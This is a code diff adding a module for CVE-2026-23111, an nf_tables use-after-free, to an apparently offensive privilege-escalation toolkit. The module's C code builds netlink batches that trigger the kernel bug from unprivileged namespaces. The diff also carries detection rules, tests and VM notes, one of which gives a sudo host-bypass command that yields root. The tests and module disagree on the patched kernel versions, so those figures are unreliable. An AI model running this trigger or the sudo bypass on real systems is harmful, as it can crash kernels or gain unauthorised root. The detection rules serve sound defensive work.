+    put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME);
+    put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET,   "skeletonkey_nonexistent");
+    size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS);
+    size_t el_at   = begin_nest(buf, off, 1);
+    put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL);
+    end_nest(buf, off, el_at);
+    end_nest(buf, off, list_at);
+    end_msg(buf, off, at);
+}
+
+static int nft_send_batch(int sock, const void *buf, size_t len)
+{
+    struct sockaddr_nl dst = { .nl_family = AF_NETLINK };
+    struct iovec iov = { .iov_base = (void *)buf, .iov_len = len };
+    struct msghdr m = {
+        .msg_name = &dst, .msg_namelen = sizeof dst,
+        .msg_iov = &iov,  .msg_iovlen = 1,
+    };
+    if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; }
+    char rbuf[8192];
+    for (int i = 0; i < 8; i++) {
+        ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT);
+        if (r <= 0) break;
+    }
+    return 0;
+}
+
+static long slabinfo_active(const char *slab)
+{
+    FILE *f = fopen("/proc/slabinfo", "r");
+    if (!f) return -1;
+    char line[512];
+    long active = -1;
+    while (fgets(line, sizeof line, f)) {
+        if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') {
+            long a;
+            if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a;
+            break;
+        }
+    }
+    fclose(f);
+    return active;
+}
+
+static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
+{
+    skeletonkey_result_t pre = nft_catchall_detect(ctx);
+    if (pre != SKELETONKEY_VULNERABLE) {
+        fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n");
+        return pre;
+    }
+    bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
+    if (is_root) {
+        fprintf(stderr, "[i] nft_catchall: already running as root\n");
+        return SKELETONKEY_OK;
+    }
+
+    if (!ctx->json)
+        fprintf(stderr, "[*] nft_catchall: primitive-only run — builds a map with a "
+                        "catch-all GOTO element and provokes an aborting batch to "
+                        "drive the nft_map_catchall_activate UAF, then stops. The "
+                        "per-kernel leak + R/W + ROP root-pop is NOT bundled.\n");
+
+    /* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the
+     * double-handling; isolating means the dispatcher survives. */
+    pid_t child = fork();
+    if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; }
+
+    if (child == 0) {
+        if (enter_unpriv_namespaces() < 0) _exit(20);
+        int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER);
+        if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); }
+        struct sockaddr_nl src = { .nl_family = AF_NETLINK };
+        if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) {
+            perror("[-] bind"); close(sock); _exit(22);
+        }
+        int rcvbuf = 1 << 20;
+        setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf);
+
+        uint8_t *batch = calloc(1, 16 * 1024);
+        if (!batch) { close(sock); _exit(23); }
+        uint32_t seq = (uint32_t)time(NULL);
+
+        /* Batch 1 (commits): table + GOTO-target chain + verdict map +
+         * catch-all GOTO element. */
+        size_t off = 0;
+        put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++);
+        put_new_table(batch, &off, seq++);
+        put_new_chain(batch, &off, seq++);
+        put_new_map(batch, &off, seq++);
+        put_catchall_goto(batch, &off, seq++);
+        put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++);
+        if (!ctx->json)
+            fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off);
+        if (nft_send_batch(sock, batch, off) < 0) {
+            free(batch); close(sock); _exit(24);
+        }
+
+        long before = slabinfo_active("nft_chain");
+        if (before < 0) before = slabinfo_active("kmalloc-cg-256");
+
+        /* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an
+         * invalid op so the whole transaction rolls back, running
+         * nft_map_catchall_activate over the active catch-all element. */
+        size_t off2 = 0;
+        put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++);
+        put_catchall_goto(batch, &off2, seq++);   /* re-touch the catch-all elem */
+        put_aborting_op(batch, &off2, seq++);      /* invalid → abort the batch */
+        put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++);
+        if (!ctx->json)
+            fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2);
+        nft_send_batch(sock, batch, off2);
+        usleep(50 * 1000);
+
+        long after = slabinfo_active("nft_chain");
+        if (after < 0) after = slabinfo_active("kmalloc-cg-256");
+        if (!ctx->json)
+            fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld → %ld\n",
+                    before, after);
+
+        free(batch);
+        close(sock);
+        _exit(100);   /* honest: trigger attempted, R/W not completed */
+    }
+
+    int status;
+    waitpid(child, &status, 0);
+    if (!WIFEXITED(status)) {
+        if (!ctx->json)
+            fprintf(stderr, "[!] nft_catchall: child died by signal %d — the "
+                            "abort-path UAF likely fired (KASAN oops can manifest "
+                            "as a child signal)\n", WTERMSIG(status));
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    int rc = WEXITSTATUS(status);
+    if (rc == 100) {
+        if (!ctx->json) {
+            fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted "
+                            "(catch-all GOTO map + aborting batch). The full kernel "
+                            "R/W + modprobe_path ROP is NOT bundled, and this "
+                            "trigger is reconstructed from public analysis, not "
+                            "VM-verified — honest EXPLOIT_FAIL.\n");
+            fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / "
+                            "public PoC leak + cross-cache groom + modprobe_path "
+                            "overwrite for CVE-2026-23111.\n");
+        }
+        return SKELETONKEY_EXPLOIT_FAIL;
+    }
+    if (!ctx->json)
+        fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc);
+    return SKELETONKEY_EXPLOIT_FAIL;
+}
+
+#else  /* !__linux__ */
+
+static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx)
+{
+    if (!ctx->json)
+        fprintf(stderr, "[i] nft_catchall: Linux-only module "
+                "(nf_tables catch-all abort UAF via nfnetlink) — not applicable here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx)
+{
+    (void)ctx;
+    fprintf(stderr, "[-] nft_catchall: Linux-only module — cannot run here\n");
+    return SKELETONKEY_PRECOND_FAIL;
+}
+
+#endif /* __linux__ */
+
+/* ----- Embedded detection rules ----- */
+static const char nft_catchall_auditd[] =
+    "# nf_tables catch-all abort UAF (CVE-2026-23111) — auditd rules\n"
+    "# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n"
+    "# then nfnetlink batches building a verdict map with a catch-all\n"
+    "# GOTO element and an aborting transaction. Legit userns+nft (docker\n"
+    "# rootless, firewalld) will also trip — tune per environment.\n"
+    "-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n"
+    "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n";
+
+static const char nft_catchall_sigma[] =
+    "title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n"
+    "id: 3e8a1c47-skeletonkey-nft-catchall\n"
+    "status: experimental\n"
+    "description: |\n"
+    "  Detects an unprivileged user creating a user namespace then driving\n"
+    "  nftables. CVE-2026-23111 abuses an inverted condition in\n"
+    "  nft_map_catchall_activate on transaction abort to UAF a chain still\n"
+    "  referenced by a catch-all GOTO verdict. False positives: rootless\n"
+    "  containers / firewalld using userns + nft. A previously-unprivileged\n"
+    "  process gaining euid 0 is the smoking gun.\n"
+    "logsource: {product: linux, service: auditd}\n"
+    "detection:\n"
+    "  userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n"
+    "  uid0:   {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n"
+    "  condition: userns and uid0\n"
+    "level: high\n"
+    "tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n";
+
+static const char nft_catchall_falco[] =
+    "- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n"
+    "  desc: |\n"
+    "    Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n"
+    "    delivering nfnetlink batches that build a verdict map with a\n"
+    "    catch-all GOTO element and then abort a transaction. CVE-2026-23111\n"
+    "    nft_map_catchall_activate use-after-free. False positives: rootless\n"
+    "    container / firewall tooling.\n"
+    "  condition: >\n"
+    "    evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n"
+    "  output: >\n"
+    "    nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n"
+    "    (user=%user.name pid=%proc.pid)\n"
+    "  priority: HIGH\n"
+    "  tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n";
+
+const struct skeletonkey_module nft_catchall_module = {
+    .name           = "nft_catchall",
+    .cve            = "CVE-2026-23111",
+    .summary        = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) → chain UAF via catch-all GOTO map",
+    .family         = "nf_tables",
+    .kernel_range   = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed",
+    .detect         = nft_catchall_detect,
+    .exploit        = nft_catchall_exploit,
+    .mitigate       = NULL,   /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */
+    .cleanup        = NULL,   /* trigger runs in a throwaway userns+netns; no host artifacts */
+    .detect_auditd  = nft_catchall_auditd,
+    .detect_sigma   = nft_catchall_sigma,
+    .detect_yara    = NULL,   /* behavioural (syscall/netlink) bug — no file artifact */
+    .detect_falco   = nft_catchall_falco,
+    .opsec_notes    = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone — a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).",
+    .arch_support   = "x86_64",
+};
+
+void skeletonkey_register_nft_catchall(void)
+{
+    skeletonkey_register(&nft_catchall_module);
+}

modules/nft_catchall_cve_2026_23111/skeletonkey_modules.h

@@ -0,0 +1,12 @@
+/*
+ * nft_catchall_cve_2026_23111 — SKELETONKEY module registry hook
+ */
+
+#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H
+#define NFT_CATCHALL_SKELETONKEY_MODULES_H
+
+#include "../../core/module.h"
+
+extern const struct skeletonkey_module nft_catchall_module;
+
+#endif

skeletonkey.c

@@ -35,7 +35,7 @@
 #include <string.h>
 #include <unistd.h>
 
-#define SKELETONKEY_VERSION "0.9.8"
+#define SKELETONKEY_VERSION "0.9.11"
 
 static const char BANNER[] =
 "\n"
@@ -1016,7 +1016,9 @@ static int module_safety_rank(const char *n)
         !strcmp(n, "fragnesia"))             return 87;  /* ported page-cache writes; version-pinned detect, exploit NOT VM-verified */
     if (!strcmp(n, "ptrace_traceme"))        return 85;  /* userspace cred race */
     if (!strcmp(n, "ptrace_pidfd"))          return 84;  /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */
+    if (!strcmp(n, "cifswitch"))             return 86;  /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */
     if (!strcmp(n, "sudo_samedit"))          return 80;  /* heap-tuned, may crash sudo */
+    if (!strcmp(n, "nft_catchall"))          return 35;  /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */
     if (!strcmp(n, "af_unix_gc"))            return 25;  /* kernel race, low win% */
     if (!strcmp(n, "stackrot"))              return 15;  /* very low win% */
     if (!strcmp(n, "entrybleed"))            return 0;   /* leak only, not LPE */

tests/test_detect.c

@@ -70,6 +70,8 @@ extern const struct skeletonkey_module vsock_uaf_module;
 extern const struct skeletonkey_module nft_pipapo_module;
 extern const struct skeletonkey_module ptrace_pidfd_module;
 extern const struct skeletonkey_module sudo_host_module;
+extern const struct skeletonkey_module cifswitch_module;
+extern const struct skeletonkey_module nft_catchall_module;
 
 static int g_pass = 0;
 static int g_fail = 0;
@@ -803,6 +805,92 @@ static void run_all(void)
 		&sudo_host_module, &h_sudo_host_1917,
 		SKELETONKEY_VULNERABLE);
 
+	/* ── cifswitch (CVE-2026-46243) ──────────────────────────────
+	 * Version-gated on Debian backports 5.10.257 / 6.1.174 / 6.12.90 /
+	 * 7.0.10. The VULNERABLE/PRECOND_FAIL split below the fix depends on
+	 * whether the cifs.upcall userspace path is present; we drive that
+	 * deterministically with SKELETONKEY_CIFS_ASSUME_PRESENT (1=present,
+	 * 0=absent) so the rows don't depend on cifs-utils being installed on
+	 * the runner. Patched-kernel rows return OK before the probe, so they
+	 * need no override. */
+
+	/* patched branch (exact 6.12.90 backport) → OK regardless of cifs */
+	struct skeletonkey_host h_ciw_61290 =
+		mk_host(h_kernel_6_12, 6, 12, 90, "6.12.90-test");
+	run_one("cifswitch: 6.12.90 (exact backport) → OK via patch table",
+		&cifswitch_module, &h_ciw_61290,
+		SKELETONKEY_OK);
+
+	/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
+	struct skeletonkey_host h_ciw_710 =
+		mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
+	run_one("cifswitch: 7.1.0 above all backports → OK (mainline inherit)",
+		&cifswitch_module, &h_ciw_710,
+		SKELETONKEY_OK);
+
+	/* vulnerable kernel (one below 6.12.90) + cifs path present → VULNERABLE */
+	struct skeletonkey_host h_ciw_61289 =
+		mk_host(h_kernel_6_12, 6, 12, 89, "6.12.89-test");
+	setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "1", 1);
+	run_one("cifswitch: 6.12.89 + cifs.upcall present → VULNERABLE",
+		&cifswitch_module, &h_ciw_61289,
+		SKELETONKEY_VULNERABLE);
+
+	/* same vulnerable kernel but cifs path absent → PRECOND_FAIL */
+	setenv("SKELETONKEY_CIFS_ASSUME_PRESENT", "0", 1);
+	run_one("cifswitch: 6.12.89 but cifs-utils absent → PRECOND_FAIL",
+		&cifswitch_module, &h_ciw_61289,
+		SKELETONKEY_PRECOND_FAIL);
+	unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT");
+
+	/* ── nft_catchall (CVE-2026-23111) ───────────────────────────
+	 * Version-gated: predates-gate at catch-all set elements (~5.13),
+	 * then Debian backports 6.1.164 / 6.12.71 / 7.0.10, PLUS unprivileged
+	 * user_ns clone required (else PRECOND_FAIL). h_kernel_6_12 allows
+	 * userns; h_kernel_5_14_no_userns denies it. */
+
+	/* 5.12.50 predates catch-all set elements (~5.13) → OK */
+	struct skeletonkey_host h_nca_512 =
+		mk_host(h_kernel_6_12, 5, 12, 50, "5.12.50-test");
+	run_one("nft_catchall: 5.12.50 predates catch-all (~5.13) → OK",
+		&nft_catchall_module, &h_nca_512,
+		SKELETONKEY_OK);
+
+	/* 6.1.164 exact backport → OK via patch table */
+	struct skeletonkey_host h_nca_61164 =
+		mk_host(h_kernel_6_12, 6, 1, 164, "6.1.164-test");
+	run_one("nft_catchall: 6.1.164 (exact backport) → OK via patch table",
+		&nft_catchall_module, &h_nca_61164,
+		SKELETONKEY_OK);
+
+	/* 7.1.0 newer than every entry → mainline-inherited fix → OK */
+	struct skeletonkey_host h_nca_710 =
+		mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test");
+	run_one("nft_catchall: 7.1.0 above all backports → OK (mainline inherit)",
+		&nft_catchall_module, &h_nca_710,
+		SKELETONKEY_OK);
+
+	/* 6.1.163 (one below the 6.1.164 backport) + userns → VULNERABLE */
+	struct skeletonkey_host h_nca_61163 =
+		mk_host(h_kernel_6_12, 6, 1, 163, "6.1.163-test");
+	run_one("nft_catchall: 6.1.163 + userns allowed → VULNERABLE",
+		&nft_catchall_module, &h_nca_61163,
+		SKELETONKEY_VULNERABLE);
+
+	/* 6.12.70 (one below the 6.12.71 backport) + userns → VULNERABLE */
+	struct skeletonkey_host h_nca_61270 =
+		mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test");
+	run_one("nft_catchall: 6.12.70 + userns allowed → VULNERABLE",
+		&nft_catchall_module, &h_nca_61270,
+		SKELETONKEY_VULNERABLE);
+
+	/* same vulnerable kernel but unprivileged userns denied → PRECOND_FAIL */
+	struct skeletonkey_host h_nca_nouserns =
+		mk_host(h_kernel_5_14_no_userns, 6, 1, 163, "6.1.163-nouserns-test");
+	run_one("nft_catchall: 6.1.163 but userns denied → PRECOND_FAIL",
+		&nft_catchall_module, &h_nca_nouserns,
+		SKELETONKEY_PRECOND_FAIL);
+
 	/* ── coverage report ─────────────────────────────────────────
 	 * Iterate the runtime registry (populated by skeletonkey_register_*
 	 * calls in main()) and warn for any module that was not touched

tools/verify-vm/targets.yaml

@@ -303,3 +303,24 @@ sudo_host:
   kernel_version: "4.15.0"
   expect_detect: VULNERABLE
   notes: "CVE-2025-32462; sudo -h/--host policy bypass (Stratascale, sibling of sudo_chwoot). Ubuntu 18.04 ships sudo 1.8.21p2, inside the vulnerable range [1.8.8, 1.9.17p0] (fixed 1.9.17p1), so detect() returns VULNERABLE on the version gate. Exercising exploit() empirically needs a sudoers rule scoped to a host other than the box hostname (and not ALL): provision e.g. 'vagrant fakehost = (ALL) NOPASSWD: ALL' in /etc/sudoers.d/, then 'SKELETONKEY_SUDO_HOST=fakehost skeletonkey --exploit sudo_host --i-know' pops root via 'sudo -h fakehost /bin/bash'. Brand-new addition this cycle; provisioner + sweep pending."
+
+# ── cifswitch (CVE-2026-46243) addition ─────────────────────────────
+
+cifswitch:
+  box: ubuntu2404
+  kernel_pkg: ""
+  kernel_version: "6.8.0-117-generic"
+  expect_detect: VULNERABLE
+  verified: partial   # detect() + add_key primitive confirmed; full root-pop + patched-kernel discriminator pending
+  verified_on: "2026-06-08 — Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic, QEMU/HVF (x86_64)"
+  notes: "CVE-2026-46243 'CIFSwitch'; cifs.spnego key type trusts userspace-forged authority fields (Asim Manizada, 2026-05-28). Fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); a ~19-year-old bug below those. PARTIALLY VM-VERIFIED 2026-06-08 on Ubuntu 24.04.4 / 6.8.0-117 (QEMU/HVF): (1) `modprobe cifs` registers the cifs.spnego key type (dmesg 'Key type cifs.spnego registered') — cifs-utils not required to reach the primitive; (2) an INDEPENDENT python ctypes add_key('cifs.spnego', forged uid/creduid/upcall_target) was ACCEPTED (serial 374940108; a `user`-key control also accepted), and the module's own exploit() reported 'primitive CONFIRMED' (serial 294765294) then honest EXPLOIT_FAIL; (3) detect() correctly returned PRECOND_FAIL with cifs-utils absent, and VULNERABLE under SKELETONKEY_CIFS_ASSUME_PRESENT=1. STILL PENDING: (a) a PATCHED kernel (>=6.12.90 / 7.0.10) to prove add_key is REJECTED there (i.e. that the probe discriminates fixed-from-vulnerable, not merely that the key type always allows userspace creation), and (b) the full user+mount-namespace + malicious-NSS root-pop, which is not bundled. Reproduce via tools/verify-vm or the QEMU offline harness used on 2026-06-08 (cloud image + payload iso, no guest networking needed)."
+
+# ── nft_catchall (CVE-2026-23111) addition ──────────────────────────
+
+nft_catchall:
+  box: ubuntu2204
+  kernel_pkg: ""
+  mainline_version: "6.1.163"   # one below the 6.1.164 backport; userns required
+  kernel_version: "6.1.163"
+  expect_detect: VULNERABLE
+  notes: "CVE-2026-23111; nf_tables nft_map_catchall_activate abort-path UAF (inverted '!'). Public reproduction by FuzzingLabs; fixed upstream f41c5d1, Debian backports 6.1.164 (bookworm) / 6.12.73 (trixie) / 6.18.10 (sid); 5.10/bullseye still unfixed. detect() version-gates (catch-all set elements ~5.13; thresholds 6.1.164/6.12.73/6.18.10) AND requires unprivileged user_ns clone — a vulnerable kernel with userns locked (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes nft_chain/cg-256 slabinfo, returns EXPLOIT_FAIL (primitive-only). The per-kernel leak + R/W + modprobe_path ROP is NOT bundled, and the trigger is RECONSTRUCTED from public analysis — NOT yet VM-verified. Provisioner: ensure unprivileged userns enabled (sysctl kernel.unprivileged_userns_clone=1 / drop apparmor restriction). A KASAN kernel will oops on a real fire; sweep + trigger validation pending."